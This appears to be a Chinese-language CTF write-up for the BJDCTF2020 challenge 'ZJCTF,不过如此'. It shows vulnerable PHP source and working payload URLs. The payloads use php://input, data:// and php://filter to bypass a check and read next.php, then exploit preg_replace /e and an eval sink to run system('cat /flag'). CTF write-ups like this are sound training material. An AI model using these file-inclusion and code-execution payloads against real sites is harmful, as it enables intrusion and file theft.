zoukankan      html  css  js  c++  java
  • [BJDCTF2020]ZJCTF,不过如此

     1 <?php
     2 
     3 error_reporting(0);
     4 $text = $_GET["text"];
     5 $file = $_GET["file"];
     6 if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
     7     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
     8     if(preg_match("/flag/",$file)){
     9         die("Not now!");
    10     }
    11 
    12     include($file);  //next.php
    13     
    14 }
    15 else{
    16     highlight_file(__FILE__);
    17 }
    18 ?>

    代码第6行可以使用伪协议进行绕过,第12行存在文件包含漏洞

    php://input方式:

    http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

    post:I have a dream

    data协议方式:

    http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

    解密后的源代码:

     1 <?php
     2 $id = $_GET['id'];
     3 $_SESSION['id'] = $id;
     4 
     5 function complex($re, $str) {
     6     return preg_replace(
     7         '/(' . $re . ')/ei',
     8         'strtolower("\1")',
     9         $str
    10     );
    11 }
    12 
    13 
    14 foreach($_GET as $re => $str) {
    15     echo complex($re, $str). "
    ";
    16 }
    17 
    18 function getFlag(){
    19     @eval($_GET['cmd']);
    20 }

    可以看见代码18行为命令执行,第6行preg_replace在/e模式下存在命令执行漏洞,具体原理可以参考文章:https://xz.aliyun.com/t/2557

    这里直接给出payLoad:

    http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/next.php?S*=${getFlag()}&cmd=system("cat /flag");

  • 相关阅读:
    代理模式
    栈和队列----按照左右半区的方式重新组合单链表
    栈和队列----合并两个有序的单链表
    Java中的线程池
    SpringMVC中的参数绑定
    Mybatis常见面试题汇总
    ADC裸机程序
    用uart实现printf函数
    uarts裸机程序
    定时器裸机程序
  • 原文地址:https://www.cnblogs.com/gtx690/p/13293854.html
Copyright © 2011-2022 走看看